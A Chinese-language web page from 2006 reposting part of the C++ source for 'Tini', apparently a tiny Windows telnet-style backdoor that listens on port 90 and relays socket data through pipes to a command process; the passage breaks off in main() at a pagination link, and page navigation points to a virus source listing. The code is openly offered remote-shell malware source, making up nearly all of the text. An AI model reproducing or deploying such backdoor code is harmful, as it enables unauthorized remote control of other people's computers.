| Tini 的VC原代码 |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:22:23
|
//////////////////////////////////////////////////////////////////////////////// // // Telnet Server. // // File : Tini2.cpp // // // Create by : dancefire , refdom // Email : dangcefire@263.net , refdom@263.net // // If you modify the code, or add more functions, please email me a copy. // ////////////////////////////////////////////////////////////////////////////////
#include #include #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET; HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile; u_char varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD nByteToWrite, nByteWritten; char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0);
varA = 1; while(true) { Sleep(250); nByteToWrite = recv(ClientSocket, recv_buff, 1024, 0); WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL); } return 0; }
DWORD WINAPI ThreadFuncB( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD len; char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile, &hWritePipe, &pipeattr, 0);
varB = 1; while (true) { ReadFile(hReadFile, send_buff, 25000, &len, NULL);
send(ClientSocket, send_buff, len, 0); } return 0; }
void main(void) { WSADATA WSAData; struct sockaddr_in RemoteAddr; int nRetCode; DWORD dwThreadIdA,dwThread[1] [2] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: 一个操作本地或者远程主机服务的小程序 下一篇文章: Win9x病毒--Win95.LockIEPage.878原代码 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |